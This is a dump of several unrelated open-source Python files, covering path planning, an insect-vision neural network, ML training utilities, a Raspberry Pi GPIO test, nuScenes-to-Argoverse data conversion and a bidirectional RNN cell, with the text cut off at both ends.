cell_size).astype(int)\nnum_cells_x_neg = np.ceil(-x_min / cell_size).astype(int)\nnum_cells_y_pos = np.ceil(y_max / cell_size).astype(int)\nnum_cells_y_neg = np.ceil(-y_min / cell_size).astype(int)\n\nnum_cells_x = num_cells_x_pos + num_cells_x_neg\nnum_cells_y = num_cells_y_pos + num_cells_y_neg\n\nprint(f\"Number of cells: x: {num_cells_x},\\t y: {num_cells_y}\")\nprint(f\"cell size: {cell_size} m\")\n\n\nclass Timer:\n def __init__(self, msg):\n self.msg = msg\n self.start_time = None\n\n def __enter__(self):\n self.start_time = time.time()\n\n def __exit__(self, exc_type, exc_value, exc_tb):\n print(self.msg % (time.time() - self.start_time))\n\n\nclass Node:\n \"\"\"\n Node class for A* search\n \"\"\"\n\n delta = 0 # the tolerance for checking if two nodes are the same (speed up the search)\n\n def __init__(self, g, h, path, reached_waypoints):\n self.g = g # cost (int)\n self.h = h # heuristic (int)\n self.path = path # list of index\n self.reached_waypoints = reached_waypoints # list of waypoint index\n\n def __lt__(self, other):\n return False if self.__eq__(other) else self.g + self.h < other.g + other.h\n\n def __eq__(self, other):\n return other.g + other.h - self.delta <= self.g + self.h <= other.g + other.h + self.delta\n\n\ndef waypoints_kinematic_constraint(waypoints):\n # check if adjacent waypoints are the same\n for i in range(len(waypoints) - 1):\n if np.allclose(waypoints[i], waypoints[i + 1]):\n return False\n max_curvature = 1\n for i in range(len(waypoints) - 2): # the curvature of the path should be smaller than the maximum curvature\n p1, p2, p3 = waypoints[i], waypoints[i + 1], waypoints[i + 2]\n a, b, c = np.linalg.norm(p2 - p3), np.linalg.norm(p1 - p3), np.linalg.norm(p1 - p2)\n if a + b < c and a + c < b and b + c < a: # check if the three points are collinear\n sin_alpha = np.cross(p2 - p1, p3 - p1) / (b * c)\n curvature = 2 * sin_alpha / a\n if curvature > max_curvature:\n return False\n # else:\n # # if p3 is between p1 and p2\n # if np.dot(p3 - p1, p2 - p1) > 0 and np.dot(p3 - p2, p1 - p2) > 0:\n #\n return True\n\nwith Timer(\"Discret planning elapsed: %f s\"):\n\n waypoints = np.array(config.waypoints) # TODO\n # waypoints = np.random.randint(50 - 5, 50 + 5, (2, 2))\n # for i in range(len(waypoints)-1):\n # # randomly generate 2 integers in the range of [0,1]\n # a, b = np.random.randint(0, 2, 2)\n # a = -1 if a == 0 else 1\n # b = -1 if b == 0 else 1\n # waypoints[i + 1, 0] = waypoints[i, 0] + a\n # waypoints[i + 1, 1] = waypoints[i, 1] + b\n\n visited = np.zeros((num_cells_x, num_cells_y), dtype=int)\n def dist_infimum(p1, p2):\n \"\"\"\n Calculate the infimum distance between two points\n \"\"\"\n # return max(np.abs(p1[0] - p2[0]), np.abs(p1[1] - p2[1]))\n long_side = max(np.abs(p1[0] - p2[0]), np.abs(p1[1] - p2[1]))\n short_side = min(np.abs(p1[0] - p2[0]), np.abs(p1[1] - p2[1]))\n return long_side * 10 - short_side * 10 + short_side * 14\n\n\n # pre-compute the distance between waypoints to speed up the heuristic calculation\n wp_distance_lookup_table = np.zeros((len(waypoints)), dtype=float)\n for i in reversed(range(len(waypoints) - 1)):\n wp_distance_lookup_table[i] = wp_distance_lookup_table[i + 1] + \\\n dist_infimum(waypoints[i], waypoints[i + 1])\n\n def heuristic(cell_index, waypoints, next_waypoint_index=0):\n \"\"\"\n Calculate the heuristic cost between two cells\n \"\"\"\n waypoints_h = wp_distance_lookup_table[next_waypoint_index]\n # current_h is the maximum of the distance between the current cell and the remaining waypoints\n current_h = dist_infimum(cell_index, waypoints[next_waypoint_index])\n return waypoints_h + current_h\n\n\n open_list = PriorityQueue()\n\n begin_cell_index = (50, 50)\n begin_direction = (1, 1)\n\n begin_cell_index_ = (begin_cell_index[0] + begin_direction[0], begin_cell_index[1] + begin_direction[1])\n\n # initialize the start node\n start_node = Node(g=0, h=heuristic(begin_cell_index, waypoints,\n next_waypoint_index=0), path=[begin_cell_index, begin_cell_index_], reached_waypoints=[])\n open_list.put(start_node)\n\n h = heuristic(begin_cell_index, waypoints, next_waypoint_index=0)\n\n # A* search\n while not open_list.empty():\n current_node = open_list.get()\n\n current_cell_index = current_node.path[-1]\n\n # check if the current cell is the goal cell\n if len(current_node.reached_waypoints) == len(waypoints):\n print(f\"reached_waypoints: {current_node.reached_waypoints}\")\n print(\"Found the goal cell!\")\n print(f\"Cost: {current_node.g}\")\n print(f\"Open list size: {open_list.qsize()}\")\n break\n\n # expand the current cell\n for i, j in itertools.product(reversed(range(-1, 2)), reversed(range(-1, 2))):\n # skip the current cell\n if i == 0 and j == 0:\n continue\n\n # boundary check\n if current_cell_index[0] + i < 0 or current_cell_index[0] + i >= num_cells_x or \\\n current_cell_index[1] + j < 0 or current_cell_index[1] + j >= num_cells_y:\n continue\n\n # kinematic check\n if len(current_node.path) >= 2: # not the start cell\n prev_direction = (current_node.path[-1][0] - current_node.path[-2][0],\n current_node.path[-1][1] - current_node.path[-2][1])\n current_direction = (i, j)\n # if dot product is negative, kinematic constraint is violated\n if prev_direction[0] * current_direction[0] + prev_direction[1] * current_direction[1] <= 0:\n continue\n\n # calculate the cell index of next cell\n next_cell_index = (\n current_cell_index[0] + i, current_cell_index[1] + j)\n\n visited[next_cell_index] += 1\n\n next_waypoint_index = 0 if len(\n current_node.reached_waypoints) == 0 else min(current_node.reached_waypoints[-1] + 1,\n len(waypoints) - 1)\n\n if np.array_equal(next_cell_index, waypoints[next_waypoint_index]):\n reached_waypoints = current_node.reached_waypoints + [next_waypoint_index]\n else:\n reached_waypoints = current_node.reached_waypoints\n\n dl = 10 if i == 0 or j == 0 else 14\n next_node = Node(g=current_node.g + dl, h=heuristic(next_cell_index, waypoints,\n next_waypoint_index=next_waypoint_index),\n path=current_node.path + [next_cell_index], reached_waypoints=reached_waypoints)\n\n open_list.put(next_node)\n\n\n# plot the path\npath = current_node.path\npath_x = [cell_index[0] for cell_index in path]\npath_y = [cell_index[1] for cell_index in path]\n\nplt.figure()\nplt.plot(path_x, path_y, 'r-')\n\n# plot the waypoints\nwaypoints_x = [cell_index[0] for cell_index in waypoints]\nwaypoints_y = [cell_index[1] for cell_index in waypoints]\nplt.plot(waypoints_x, waypoints_y, 'bo')\n\nplt.axis('equal')\n\n# plot the visited(numpy array) using plasma colormap\nvisited_x = np.where(visited)[0]\nvisited_y = np.where(visited)[1]\nplt.scatter(visited_x, visited_y,\n c=visited[visited_x, visited_y], cmap='plasma', marker='o', s=1)\nplt.colorbar()\n\n\nfrom geomdl import fitting\n\ndegree = 4\n\nwith Timer(\"b-spline fitting elapsed: %f s\"):\n\n # 1.remove points that are linear, keep only the turning points\n _path = np.array(path)\n for i in reversed(range(1, len(path) - 1)):\n if (path[i][0] - path[i - 1][0]) * (path[i + 1][1] - path[i][1]) == \\\n (path[i][1] - path[i - 1][1]) * (path[i + 1][0] - path[i][0]):\n _path = np.delete(_path, i, axis=0)\n\n path = _path.tolist()\n\n # 2. linearly interpolate the last 2 points to make the path smoother\n last_point = path[-1]\n second_last_point = path[-2]\n # interpolate 10 points between the last 2 points\n path = path[:-2] # remove the last 2 points\n for i in range(1, 10):\n path.append([second_last_point[0] + (last_point[0] - second_last_point[0]) / 10 * i,\n second_last_point[1] + (last_point[1] - second_last_point[1]) / 10 * i]) # append the interpolated points\n \n # 3. interpolate the path\n trajectory = fitting.interpolate_curve(path, degree)\n\n trajectory.delta = 0.01 # 100 sample points\n\n# plot the trajectory\ntrajectory_x = [point[0] for point in trajectory.evalpts]\ntrajectory_y = [point[1] for point in trajectory.evalpts]\n\nprint(len(trajectory_x))\n\nplt.plot(trajectory_x, trajectory_y, 'g-')\n\nplt.title(f\"Cost: {current_node.g}\")\n\nplt.show()\n","repo_name":"Peiyang-Aeromodelling-Association/trajectory_planning","sub_path":"discrete_planner.py","file_name":"discrete_planner.py","file_ext":"py","file_size_in_byte":9953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"11170447035","text":"from .base import Network, RNG\n\nimport numpy as np\nimport yaml\nimport os\n\n# get path of the script\n__dir__ = os.path.dirname(os.path.abspath(__file__))\n# load parameters\nwith open(os.path.join(__dir__, '../data/net/Ardin2016.yaml'), 'rb') as f:\n params = yaml.safe_load(f)\n\nGAIN = params['gain']\nLEARNING_RATE = params['learning-rate']\nKC_THRESHOLD = params['kc-threshold']\n\n\nclass WillshawNet(Network):\n\n def __init__(self, learning_rate=LEARNING_RATE, tau=KC_THRESHOLD, nb_channels=1, num_pn=2000, num_kc=20000, num_en=1, **kwargs):\n \"\"\"\n\n :param learning_rate: the rate with which the weights are changing\n :type learning_rate: float\n :param tau: the threshold after witch a KC is activated\n :type tau: float\n :param nb_channels: number of colour channels that can be interpreted\n :type nb_channels: int\n \"\"\"\n super(WillshawNet, self).__init__(**kwargs)\n self.learning_rate = learning_rate\n self._tau = tau\n self.nb_channels = nb_channels\n\n self.nb_pn = num_pn\n self.nb_kc = num_kc\n self.nb_en = num_en\n\n self.w_pn2kc = generate_pn2kc_weights(self.nb_pn, self.nb_kc, dtype=self.dtype)\n self.w_kc2en = np.ones((self.nb_kc, self.nb_en), dtype=self.dtype)\n self.params = [self.w_pn2kc, self.w_kc2en]\n\n self.f_pn = lambda x: np.maximum(self.dtype(x) / self.dtype(255), 0)\n # self.f_pn = lambda x: np.maximum(self.dtype(self.dtype(x) / self.dtype(255) > .5), 0)\n self.f_kc = lambda x: self.dtype(x > tau)\n self.f_en = lambda x: np.maximum(x, 0)\n\n self.pn = np.zeros(self.nb_pn)\n self.kc = np.zeros(self.nb_kc)\n self.en = np.zeros(self.nb_en)\n\n self.__update = False\n\n def reset(self):\n super(WillshawNet, self).reset()\n\n self.pn = np.zeros(self.nb_pn)\n self.kc = np.zeros(self.nb_kc)\n self.en = np.zeros(self.nb_en)\n\n self.w_kc2en = np.ones((self.nb_kc, self.nb_en), dtype=self.dtype)\n\n def __call__(self, *args, **kwargs):\n self.pn, self.kc, self.en = self._fprop(args[0])\n if self.__update:\n self._update(self.kc)\n return self.en\n\n def _fprop(self, pn):\n a_pn = self.f_pn(pn)\n kc = a_pn.dot(self.w_pn2kc)\n a_kc = self.f_kc(kc)\n en = a_kc.dot(self.w_kc2en)\n a_en = self.f_en(en)\n return a_pn, a_kc, a_en\n\n def _update(self, kc):\n \"\"\"\n THE LEARNING RULE:\n ----------------------------\n\n KC | KC2EN(t)| KC2EN(t+1)\n ______|_________|___________\n 1 | 1 |=> 0\n 1 | 0 |=> 0\n 0 | 1 |=> 1\n 0 | 0 |=> 0\n\n :param kc: the KC activation\n :return:\n \"\"\"\n learning_rule = (kc >= self.w_kc2en[:, 0]).astype(bool)\n self.w_kc2en[:, 0][learning_rule] = np.maximum(self.w_kc2en[:, 0][learning_rule] - self.learning_rate, 0)\n\n\ndef generate_pn2kc_weights(nb_pn, nb_kc, min_pn=5, max_pn=21, aff_pn2kc=None, nb_trials=100000, baseline=25000,\n rnd=RNG, dtype=np.float32):\n \"\"\"\n Create the synaptic weights among the Projection Neurons (PNs) and the Kenyon Cells (KCs).\n Choose the first sample that has dispersion below the baseline (early stopping), or the\n one with the lower dispersion (in case non of the samples' dispersion is less than the\n baseline).\n\n :param nb_pn: the number of the Projection Neurons (PNs)\n :param nb_kc: the number of the Kenyon Cells (KCs)\n :param min_pn:\n :param max_pn:\n :param aff_pn2kc: the number of the PNs connected to every KC (usually 28-34)\n if the number is less than or equal to zero it creates random values\n for each KC in range [28, 34]\n :param nb_trials: the number of trials in order to find a acceptable sample\n :param baseline: distance between max-min number of projections per PN\n :param rnd:\n :type rnd: np.random.RandomState\n :param dtype:\n \"\"\"\n\n dispersion = np.zeros(nb_trials)\n best_pn2kc = None\n\n for trial in range(nb_trials):\n pn2kc = np.zeros((nb_pn, nb_kc), dtype=dtype)\n\n if aff_pn2kc is None or aff_pn2kc <= 0:\n vaff_pn2kc = rnd.randint(min_pn, max_pn + 1, size=nb_pn)\n else:\n vaff_pn2kc = np.ones(nb_pn) * aff_pn2kc\n\n # go through every kenyon cell and select a nb_pn PNs to make them afferent\n for i in range(nb_pn):\n pn_selector = rnd.permutation(nb_kc)\n pn2kc[i, pn_selector[:vaff_pn2kc[i]]] = 1\n\n # This selections mechanism can be used to restrict the distribution of random connections\n # compute the sum of the elements in each row giving the number of KCs each PN projects to.\n pn2kc_sum = pn2kc.sum(axis=0)\n dispersion[trial] = pn2kc_sum.max() - pn2kc_sum.min()\n # pn_mean = pn2kc_sum.mean()\n\n # Check if the number of projections per PN is balanced (min max less than baseline)\n # if the dispersion is below the baseline accept the sample\n if dispersion[trial] <= baseline: return pn2kc\n\n # cache the pn2kc with the least dispersion\n if best_pn2kc is None or dispersion[trial] < dispersion[:trial].min():\n best_pn2kc = pn2kc\n\n # if non of the samples have dispersion lower than the baseline,\n # return the less dispersed one\n return best_pn2kc\n\n\nif __name__ == \"__main__\":\n from world import load_world, load_routes\n from agent import Visualiser\n from world import Hybrid\n\n world = load_world()\n routes = load_routes()\n routes[0].condition = Hybrid(tau_x=.1, tau_phi=np.pi)\n world.add_route(routes[0])\n\n nn = WillshawNet(nb_channels=3)\n nn.update = True\n vis = Visualiser(mode=\"panorama\")\n vis.reset()\n\n x, y, z = np.zeros(3)\n phi = 0.\n\n def world_snapshot(width=None, height=None):\n global x, y, z, phi\n return world.draw_panoramic_view(x, y, z, phi, update_sky=False, include_ground=.3, include_sky=1.,\n width=width, length=width, height=height)\n\n for x, y, z, phi in world.routes[-1]:\n\n if vis.is_quit():\n print(\"QUIT!\")\n break\n print(x, y, z, phi)\n img = world.draw_panoramic_view(x, y, z, phi)\n inp = np.array(img).reshape((-1, 3))\n en = nn(inp.flatten())\n\n vis.update_main(world_snapshot, caption=\"PN: %3d, KC: %3d, EN: %3d\" % (nn.pn.sum(), nn.kc.sum(), en.sum()))\n","repo_name":"JDfaker/HPcode","sub_path":"Vision/insectvision/net/willshawnet.py","file_name":"willshawnet.py","file_ext":"py","file_size_in_byte":6562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"39372813229","text":"import argparse\n\nimport torch\n\n\ndef get_args():\n parser = argparse.ArgumentParser()\n # Data and model\n parser.add_argument('--target', default=None, help='PACS DG target domain.')\n parser.add_argument('--batch_size', default=128, type=int, help='Batch size.')\n parser.add_argument('--num_workers', default=8, type=int)\n parser.add_argument('--net', default='resnet18', choices=['resnet18', 'resnet50', 'alexnet'],\n help='Model architecture')\n parser.add_argument('--jitter', default=0.4, type=float, help=\"Color jitter amount\")\n parser.add_argument('--reps', default=5, type=int, help='Number of repeats on each test.')\n parser.add_argument('--domainnet', default=False,\n action='store_true', help='Flag to train on domainnet instead of PACS.')\n\n # optimizer parameters\n parser.add_argument('--lr', '--learning_rate', type=float, default=.001, help=\"Optimizer Learning rate\")\n parser.add_argument('--epochs', '-e', type=int, default=30, help=\"Number of epochs\")\n parser.add_argument('--weight_decay', default=0.0005, type=float)\n parser.add_argument('--momentum', default=0.9, type=float)\n\n # Adaptation args\n parser.add_argument('--adapt', default=False, action='store_true',\n help='Domain adaptation rather than generalisation.')\n return parser.parse_args()\n\n\ndef get_optimizer(args, params):\n lr_scheduler = None\n optimizer = torch.optim.SGD(params, lr=args.lr, momentum=args.momentum, weight_decay=args.weight_decay)\n\n if args.epochs > 5:\n step_size = int(args.epochs * .6)\n lr_scheduler = torch.optim.lr_scheduler.StepLR(optimizer, step_size=step_size)\n return optimizer, lr_scheduler\n\n\ndef get_setup(args):\n if args.domainnet:\n domain_list = ['clipart', 'infograph', 'painting', 'quickdraw', 'real', 'sketch']\n raise NotImplementedError\n else:\n domain_list = ['photo', 'art_painting', 'cartoon', 'sketch']\n\n setups = {tar: [sc for sc in domain_list if sc != tar] for tar in domain_list}\n if args.target is not None:\n assert args.target in domain_list\n setups = {k: d for k, d in setups.items() if k == args.target}\n\n return setups\n","repo_name":"pb2377/PACS-Domain-Generalisation","sub_path":"utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"13906521357","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# Test the Powertail Switch II\n\nimport sys\nfrom time import sleep\nimport RPi.GPIO as GPIO\n\nGPIO.setmode(GPIO.BCM)\n\n# Set pin 23 as a 3V3 output to trigger the PTS\npts = 23\nGPIO.setup(pts, GPIO.OUT, initial=0)\n\n\n# Set pin 24 as an input to read the LED state of the PTS\npts_led = 24\nGPIO.setup(pts_led, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)\n\nprint(\"Controlling the Powertail Switch II\")\n\nprint(\"Turning on the PTS\")\nGPIO.output(pts, 1)\nprint(\"PTS ON\")\nsleep(1)\n\nprint(\"\\nReading the PTS LED State\")\nif GPIO.input(pts_led):\n print(\"PTS LED is ON\")\nelse:\n print(\"PTS LED is OFF or not registering\")\nsleep(5)\n\nprint(\"\\nTurning off the PTS\")\nGPIO.output(pts, 0)\nprint(\"PTS OFF\")\nsleep(1)\n\nprint(\"\\nReading the PTS LED State\")\nif GPIO.input(pts_led):\n print(\"PTS LED is ON\")\nelse:\n print(\"PTS is OFF or not registering!\")\nsleep(5)\n\n\n\n\nprint(\"\\nCleaning up and exiting\")\nGPIO.cleanup()\n\n# while True:\n# try:\n# GPIO.output(pts, 1)\n# print(\"On\")\n# sleep(1)\n# GPIO.output(pts, 0)\n# print(\"Off\")\n# sleep(1)\n# except KeyboardInterrupt:\n# GPIO.cleanup()\n# sys.exit()\n# except:\n# GPIO.cleanup()\n# sys.exit()\n\n","repo_name":"ssharpjr/loader-controller","sub_path":"examples/powertail_test.py","file_name":"powertail_test.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"2123759153","text":"import random\nimport decimal\nimport math\n\ntotal_values=50\n\ndef getList():\n op=[]\n for i in range(0,total_values):\n op.append(float(decimal.Decimal(random.random())))\n\n return op\n\ndef getUnsupervisedBins(num_column):\n x_bin=[]\n bin_size=math.ceil(math.sqrt(total_values))+1\n bin_size_counter=0\n unsuper_dict={}\n dict_index=1\n num_column_index=0\n \n while (bin_size_counter str:\n \"\"\"Map the nuscenes labels to argoverse labels\"\"\"\n if \"human\" in label:\n return \"PEDESTRIAN\"\n if \"vehicle\" in label:\n if \"bicycle\" in label:\n return \"BICYCLE\"\n if \"motorcycle\" in label:\n return \"MOTORCYCLE\"\n if \"emergency\" in label:\n return \"EMERGENCY_VEHICLE\"\n if \"truck\" in label:\n return \"LARGE_VEHICLE\"\n if \"bus\" in label:\n return \"BUS\"\n if \"trailer\" in label:\n return \"TRAILER\"\n return \"VEHICLE\"\n if \"movable_object\" in label:\n return \"ON_ROAD_OBSTACLE\"\n if \"animal\" in label:\n return \"ANIMAL\"\n return \"UNKNOWN\"\n\n\ndef is_camera_sensor(sensor_name: str) -> bool:\n return sensor_name[0:3] == \"CAM\"\n\n\ndef get_calibration_info(nusc: Type[NuScenes], scene: Dict[Any, Any]) -> Dict[Any, Any]:\n \"\"\"Output calibration info for all the sensors for the scene\"\"\"\n sample_token = scene[\"first_sample_token\"]\n sample = nusc.get(\"sample\", sample_token)\n result = {}\n cam_data = []\n for nuscenes_sensor, argoverse_sensor in SENSOR_NAMES.items():\n sensor_data = nusc.get(\"sample_data\", sample[\"data\"][nuscenes_sensor])\n calibration = nusc.get(\"calibrated_sensor\", sensor_data[\"calibrated_sensor_token\"])\n transformation_dict = {}\n transformation_dict[\"rotation\"] = {\"coefficients\": calibration[\"rotation\"]}\n transformation_dict[\"translation\"] = calibration[\"translation\"]\n if is_camera_sensor(nuscenes_sensor):\n camera_info = {}\n camera_info[\"key\"] = \"image_raw_\" + argoverse_sensor\n value = {}\n value[\"focal_length_x_px_\"] = calibration[\"camera_intrinsic\"][0][0]\n value[\"focal_length_y_px_\"] = calibration[\"camera_intrinsic\"][1][1]\n value[\"focal_center_x_px_\"] = calibration[\"camera_intrinsic\"][0][2]\n value[\"focal_center_y_px_\"] = calibration[\"camera_intrinsic\"][1][2]\n value[\"skew_\"] = calibration[\"camera_intrinsic\"][0][1]\n # Nuscenes does not provide distortion coefficients.\n value[\"distortion_coefficients_\"] = [0, 0, 0]\n value[\"vehicle_SE3_camera_\"] = transformation_dict\n camera_info[\"value\"] = value\n cam_data.append(camera_info)\n else:\n # Nuscenes has one lidar sensor.\n result[\"vehicle_SE3_down_lidar_\"] = transformation_dict\n result[\"vehicle_SE3_up_lidar_\"] = transformation_dict\n result[\"camera_data_\"] = cam_data\n return result\n\n\ndef round_to_micros(t_nanos: int, base: int = 1000) -> int:\n \"\"\"\n Round nanosecond timestamp to nearest microsecond timestamp\n \"\"\"\n return base * round(t_nanos / base)\n\n\ndef write_ply(\n points_egovehicle: np.ndarray,\n points: np.ndarray,\n output_sensor_path: str,\n timestamp: int,\n) -> None:\n \"\"\"Write the ply files corresponding to pointcloud.\n Args:\n points_egovehicle: Nx3 in egovehicle frame\n points: Nx5 in lidar frame\n output sensor path: output path for the given sensor\n timestamp: timestamp of the sample\n \"\"\"\n data = {\n \"x\": points_egovehicle[:, 0],\n \"y\": points_egovehicle[:, 1],\n \"z\": points_egovehicle[:, 2],\n \"intensity\": points[:, 3],\n }\n cloud = PyntCloud(pd.DataFrame(data))\n cloud_fpath = os.path.join(output_sensor_path, f\"PC_{timestamp}.ply\")\n cloud.to_file(cloud_fpath)\n\n\ndef main(args: argparse.Namespace) -> None:\n OUTPUT_ROOT = args.argo_dir\n NUSCENES_ROOT = args.nuscenes_dir\n NUSCENES_VERSION = args.nuscenes_version\n\n if not os.path.exists(OUTPUT_ROOT):\n os.makedirs(OUTPUT_ROOT)\n\n nusc = NuScenes(version=NUSCENES_VERSION, dataroot=NUSCENES_ROOT, verbose=True)\n for scene in nusc.scene:\n scene_token = scene[\"token\"]\n sample_token = scene[\"first_sample_token\"]\n scene_path = os.path.join(OUTPUT_ROOT, scene_token)\n\n if not os.path.exists(scene_path):\n os.makedirs(scene_path)\n\n log_token = scene[\"log_token\"]\n nusc_log = nusc.get(\"log\", log_token)\n nusc_city = nusc_log[\"location\"]\n with open(os.path.join(scene_path, f\"city_info.json\"), \"w\") as f:\n json.dump({\"city_name\": CITY_TO_ID[nusc_city]}, f)\n\n # Calibration info for all the sensors\n calibration_info = get_calibration_info(nusc, scene)\n calib_path = os.path.join(scene_path, f\"vehicle_calibration_info.json\")\n with open(calib_path, \"w\") as f:\n json.dump(calibration_info, f)\n\n while sample_token != \"\":\n sample = nusc.get(\"sample\", sample_token)\n timestamp = round_to_micros(sample[\"timestamp\"])\n tracked_labels = []\n\n # city_SE3_vehicle pose\n ego_pose = None\n\n # Copy nuscenes sensor data into argoverse format and get the pose of the vehicle in the city frame\n for sensor, sensor_token in sample[\"data\"].items():\n if sensor in SENSOR_NAMES:\n argo_sensor = SENSOR_NAMES[sensor]\n output_sensor_path = os.path.join(scene_path, argo_sensor)\n if not os.path.exists(output_sensor_path):\n os.makedirs(output_sensor_path)\n sensor_data = nusc.get(\"sample_data\", sensor_token)\n file_path = os.path.join(NUSCENES_ROOT, sensor_data[\"filename\"])\n if sensor == \"LIDAR_TOP\":\n # nuscenes lidar data is stored as (x, y, z, intensity, ring index)\n scan = np.fromfile(file_path, dtype=np.float32)\n points = scan.reshape((-1, 5))\n\n # Transform lidar points from point sensor frame to egovehicle frame\n calibration = nusc.get(\"calibrated_sensor\", sensor_data[\"calibrated_sensor_token\"])\n egovehicle_R_lidar = quat2rotmat(calibration[\"rotation\"])\n egovehicle_t_lidar = np.array(calibration[\"translation\"])\n egovehicle_SE3_lidar = SE3(rotation=egovehicle_R_lidar, translation=egovehicle_t_lidar)\n points_egovehicle = egovehicle_SE3_lidar.transform_point_cloud(points[:, :3])\n\n extract_pc(points_egovehicle, points, output_sensor_path, timestamp)\n else:\n shutil.copy(\n file_path,\n os.path.join(output_sensor_path, f\"{argo_sensor}_{timestamp}.jpg\"),\n )\n\n if ego_pose is None:\n ego_pose = nusc.get(\"ego_pose\", sensor_data[\"ego_pose_token\"])\n\n # Save ego pose to json file\n poses_path = os.path.join(scene_path, f\"poses\")\n if not os.path.exists(poses_path):\n os.makedirs(poses_path)\n\n ego_pose_dict = {\n \"rotation\": ego_pose[\"rotation\"],\n \"translation\": ego_pose[\"translation\"],\n }\n with open(os.path.join(poses_path, f\"city_SE3_egovehicle_{timestamp}.json\"), \"w\") as f:\n json.dump(ego_pose_dict, f)\n\n # Object annotations\n labels_path = os.path.join(scene_path, f\"per_sweep_annotations_amodal\")\n if not os.path.exists(labels_path):\n os.makedirs(labels_path)\n\n for ann_token in sample[\"anns\"]:\n annotation = nusc.get(\"sample_annotation\", ann_token)\n city_SE3_object = SE3(\n quat2rotmat(annotation[\"rotation\"]),\n np.array(annotation[\"translation\"]),\n )\n city_SE3_egovehicle = SE3(quat2rotmat(ego_pose[\"rotation\"]), np.array(ego_pose[\"translation\"]))\n egovehicle_SE3_city = city_SE3_egovehicle.inverse()\n egovehicle_SE3_object = egovehicle_SE3_city.right_multiply_with_se3(city_SE3_object)\n\n x, y, z = egovehicle_SE3_object.translation\n qw, qx, qy, qz = Quaternion(matrix=egovehicle_SE3_object.rotation)\n width, length, height = annotation[\"size\"]\n label_class = annotation[\"category_name\"]\n\n tracked_labels.append(\n {\n \"center\": {\"x\": x, \"y\": y, \"z\": z},\n \"rotation\": {\"x\": qx, \"y\": qy, \"z\": qz, \"w\": qw},\n \"length\": length,\n \"width\": width,\n \"height\": height,\n \"track_label_uuid\": annotation[\"instance_token\"],\n \"timestamp\": timestamp,\n \"label_class\": get_argo_label(label_class),\n }\n )\n\n json_fpath = os.path.join(labels_path, f\"tracked_object_labels_{timestamp}.json\")\n with open(json_fpath, \"w\") as f:\n json.dump(tracked_labels, f)\n\n sample_token = sample[\"next\"]\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"--nuscenes-dir\",\n default=\"nuscenes\",\n type=str,\n help=\"the path to the directory where the NuScenes data is stored\",\n )\n parser.add_argument(\n \"--nuscenes-version\",\n default=\"v1.0-mini\",\n type=str,\n help=\"the version of the NuScenes data to convert\",\n )\n parser.add_argument(\n \"--argo-dir\",\n default=\"nuscenes_to_argoverse/output\",\n type=str,\n help=\"the path to the directory where the converted data should be written\",\n )\n args = parser.parse_args()\n main(args)\n","repo_name":"bhavya01/nuscenes_to_argoverse","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11028,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"54"} +{"seq_id":"42749763907","text":"from pathlib import Path\nimport yaml\nimport argparse\n\nfrom ecotools.core.taxonomy_table import TaxonomyTable\n\nSRC_DIR = Path(__file__).resolve().parent\nTOOLS = ['taxonomy', 'distr', 'lda', 'ordination']\n\ndef parse_config():\n with open('{}/settings.yaml'.format(SRC_DIR)) as handle:\n cfg = yaml.load(handle, Loader=yaml.FullLoader)\n\n return cfg\n\n\ndef parse_args():\n\n parser = argparse.ArgumentParser()\n\n subparsers = parser.add_subparsers(title='commands', dest='cmd')\n subparsers.required = True\n\n handles = {}\n\n for tool in TOOLS:\n p = subparsers.add_parser(tool)\n p.add_argument('-i', '--input-dir', help='Path to MetaFlowmics output folder')\n p.add_argument('-o', '--output', help='Path to output folder', default='ecotools_outputs')\n p.add_argument('-m', '--metadata', help='Path to metadata file (csv formatted)')\n p.add_argument('--qual', type=str, nargs='+', help='Int covariates to keep as factors')\n p.add_argument('--conditions', type=str, nargs='*', required=True)\n p.add_argument('--otu-subset', type=str, default ='', help='Path to clade file')\n p.add_argument('--otu-thresh', type=str, default=100)\n p.add_argument('--min-prevalence', type=int, default=0)\n p.add_argument('--subsample', action='store_true')\n p.add_argument('--relabund', action='store_true')\n handles[tool] = p\n\n handles['distr'].add_argument('--diversity', type=str, nargs='+', help='Diversity metrics to plot')\n handles['distr'].add_argument('--otu-list', type=str, nargs='*', help='Specific OTU distributions to plot')\n handles['taxonomy'].add_argument('--ranks', type=str, nargs='+', choices=TaxonomyTable.ranks, required=True)\n handles['taxonomy'].add_argument('--bar', action='store_true')\n handles['taxonomy'].add_argument('--heatmap', action='store_true') \n handles['lda'].add_argument('--n-topics', type=int, default=10, help='Number of topics for LDA analysis')\n handles['ordination'].add_argument('--method', type=str, default='pcoa')\n handles['ordination'].add_argument('--distance', type=str, default='bray')\n handles['ordination'].add_argument('--strata', type=str, nargs='*', default=[]) \n \n args = parser.parse_args()\n\n args.conditions = args.conditions + [None] * (4-len(args.conditions))\n\n return args\n","repo_name":"Puumanamana/ecotools","sub_path":"ecotools/parsing.py","file_name":"parsing.py","file_ext":"py","file_size_in_byte":2358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"74888691040","text":"#!/usr/bin/env python3\n\"\"\" Module RNNs \"\"\"\n\nimport numpy as np\n\n\nclass BidirectionalCell:\n \"\"\"\n Represent a bidirectional cell of an RNN\n \"\"\"\n\n def __init__(self, i, h, o):\n \"\"\"\n Class constructor\n \"\"\"\n self.Whf = np.random.normal(size=(i + h, h))\n self.Whb = np.random.normal(size=(i + h, h))\n self.Wy = np.random.normal(size=(2 * h, o))\n self.bhf = np.zeros((1, h))\n self.bhb = np.zeros((1, h))\n self.by = np.zeros((1, o))\n\n def forward(self, h_prev, x_t):\n \"\"\"\n Calculate the hidden state in the\n forward direction for one time step\n \"\"\"\n h_x = np.concatenate((h_prev.T, x_t.T), axis=0)\n h_next = np.tanh((h_x.T @ self.Whf) + self.bhf)\n return 